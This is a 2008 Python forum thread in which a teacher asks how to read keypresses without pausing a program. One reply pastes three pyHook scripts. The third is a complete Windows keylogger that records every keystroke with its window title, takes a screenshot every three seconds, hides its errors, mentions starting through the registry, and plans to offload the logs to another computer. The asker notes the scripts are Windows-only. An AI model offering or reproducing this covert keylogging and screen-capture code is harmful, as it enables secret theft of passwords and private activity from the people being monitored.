Capturing keystrokes during program execution

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • npcarp
    New Member
    • Aug 2008
    • 3

    Capturing keystrokes during program execution

    Is this hard?

    I am introducing Python to my students and want to make a simple, interactive program that will, while it's running, 'listen' for any keyboard events. That is, I don't want to include an 'input' statement - that would pause execution till someone answered. I just want it to keep running, say, printing an 'a' on the screen every 10 seconds, until the user types a 'b'. Then printing a 'b' every 10 seconds till the user types in some other character...

    It seems that this should not be hard; something with sys.stdin, perhaps. The hours I've spent on it are getting embarrassing.

    I've fooled around with it and looked though books and the only solution I've come up with was to import pygame.py and use its event handling. This seems like massive overkill for what should be an easy matter.

    I'm using IDLE with MacPython 2.5.1 on Mac OS 10.4.11

    Thanks for any help on this problem.

    Neal C.
  • Elias Alhanatis
    New Member
    • Aug 2007
    • 56

    #2
    Hi!

    I am realy "out" of this subject , but i stumbled on some scripts that might
    help you....

    run them , modify them , and hopefully they will work for you....


    Code:
    import pyHook
    import pygame
    
    # create a keyboard hook
    def OnKeyboardEvent(event):
    	print 'MessageName:',event.MessageName
    	print 'Message:',event.Message
    	print 'Time:',event.Time
    	print 'Window:',event.Window
    	print 'WindowName:',event.WindowName
    	print 'Ascii:', event.Ascii, chr(event.Ascii)
    	print 'Key:', event.Key
    	print 'KeyID:', event.KeyID
    	print 'ScanCode:', event.ScanCode
    	print 'Extended:', event.Extended
    	print 'Injected:', event.Injected
    	print 'Alt', event.Alt
    	print 'Transition', event.Transition
    	print '---'
    	if event.Key.lower() in ['lwin', 'tab', 'lmenu']:
    		return False	# block these keys
    	else:
    		# return True to pass the event to other handlers
    		return True
    
    # create a hook manager
    hm = pyHook.HookManager()
    # watch for all keyboard events
    hm.KeyDown = OnKeyboardEvent
    # set the hook
    hm.HookKeyboard()
    
    # initialize pygame and start the game loop
    pygame.init()
    
    while(1):
    	pygame.event.pump()

    Second script:

    Code:
    import pyHook
    import time
    import pythoncom
    def OnKeyboardEvent(event):
       print event.Ascii
    def main():
       hm = pyHook.HookManager()
       hm.KeyDown = OnKeyboardEvent
       hm.HookKeyboard()
       while True:
         pythoncom.PumpMessages()
    if __name__ == '__main__':
        main()
    script 3
    Code:
    ## Windows Only Script!!!
    ################################################## ##########################
    #
    ## logger.py | 2008-02-04 | Logs keystrokes and screenshots to disk
    ##
    ## Copyright (C) 2008, Jack Trades
    ##
    ## This program is free software: you can redistribute it and/or modify
    ## it under the terms of the GNU General Public License as published by
    ## the Free Software Foundation, either version 3 of the License, or
    ## (at your option) any later version.
    ##
    ## This program is distributed in the hope that it will be useful,
    ## but WITHOUT ANY WARRANTY; without even the implied warranty of
    ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    ## GNU General Public License for more details.
    ##
    ## You should have received a copy of the GNU General Public License
    ## along with this program. If not, see <http://www.gnu.org/licenses/>
    ##
    ## Recent Changes:
    ## Added quality setting to grabScreen
    ## Wrapped all functions in try/except blocks to silently pass over errors
    ##
    ## TODO:
    ## Write function to send data to secure ftp server in local network
    ## Write any errors to a text file
    ################################################## ##########################
    #
    ## Requires: pyHook, win32all, PIL
    
    import pyHook
    import pythoncom
    import ImageGrab
    from time import time
    from threading import Timer
    
    
    ################################################## ##########################
    #
    ## Start-Up
    ################################################## ##########################
    #
    
    ## The full path is required when started automatically through windows registry
    ## Need to find a fix to allow relative paths (this way is UGLY!)
    folder = 'C:\\Python25\\'
    
    filename = folder+'daata\\'+str(time()) ## Each program start creates a new file
    skippedKeys = set( (0,) )
    
    def offloadData():
        """Every time the program starts it should offload its log file and
        screenshots to another computer. """
        pass
    
    
    ############################################################################
    #
    ## Keylogger
    ############################################################################
    #
    ## The logger skips over keys defined in the global variable *skippedKeys*
    
    def writeData(eventWindow, ascii):
        """Appends each keystroke to file *filename* as defined at the top"""
        try:
            eventTime = time()
            f = open(filename, 'a')
            f.write(str( (ascii, eventTime, eventWindow) )+',')
            f.close()
        except:
            pass
    
    def onKeyboardEvent(event):
        """This function is called by pyHook each time a key is pressed.
        It writes the (key,time,window) to the logfile as defined in writeData()
        It also skips unnecessary keys (such as shift, ctrl, alt, etc.)"""
        try:
            eventWindow, ascii = event.WindowName, event.Ascii
            if ascii not in skippedKeys: ## skippedKeys is a global variable
                ascii = chr(ascii) ## uncomment to store chr(ascii) values
                print ascii ## uncomment to print keys toscreen
                writeData(eventWindow, ascii)
                return True ## passes the event to otherhandlers
        except:
            return True ## ensures that we pass the key along
                        ## even if an error occurs
    
    
    ################################################## ##########################
    #
    ## Screenshots
    ################################################## ##########################
    #
    
    def grabScreen(imageQuality=20):
        """Take a screenshot and save it to the folder screens// with filename
        time()"""
        try:
            img = ImageGrab.grab()
            img.save(folder+'screens\\'+str(time())+'.jpg', quality=imageQuality)
        except:
            pass
    
    def startScreenshots(delay=3):
        """Takes a screenshot every X seconds using grabScreen()"""
        try:
            grabScreen()
            t = Timer(delay, startScreenshots, [delay])
            t.start()
        except:
            pass
    
    ################################################## ##########################
    #
    ## Main
    ################################################## ##########################
    #
    
    def run(delay=3):
        try:
    ## Start saving screenshots every X seconds
            startScreenshots(delay)
    ## Setup a HookManager and bind OnKeyboardEvent to HookManager.KeyDown
            hm = pyHook.HookManager()
            hm.KeyDown = onKeyboardEvent
            hm.HookKeyboard()
    ## Pump keys into HookManager | Does this need a try/except ?
            try:
                pythoncom.PumpMessages()
            except:
                pass
        except:
            pass
    
    if __name__ == '__main__':
        try:
            run(3) ## Run keylogger with 3 second delay between screenshots
        except:
            pass
    Hope those help!!

    Elias

    Comment

    • npcarp
      New Member
      • Aug 2008
      • 3

      #3
      Originally posted by Elias Alhanatis
      Hi!

      I am realy "out" of this subject , but i stumbled on some scripts that might
      help you....

      run them , modify them , and hopefully they will work for you....

      . . .

      Hope those help!!

      Elias
      Thanks, anyway, but these all require Windows (pyHook is Windows-only) and I'm on Mac OS X (10.4.11)

      Apparently this is harder in Python than I anticipated. That is, there's no built-in Python word that, unlike «input()» or «raw_input()», will look at the input stream from the keyboard to see if there is anything there without interrupting the program execution and 'waiting' till the user hits a Return or Enter key.

      Bummer.

      Comment

      Working...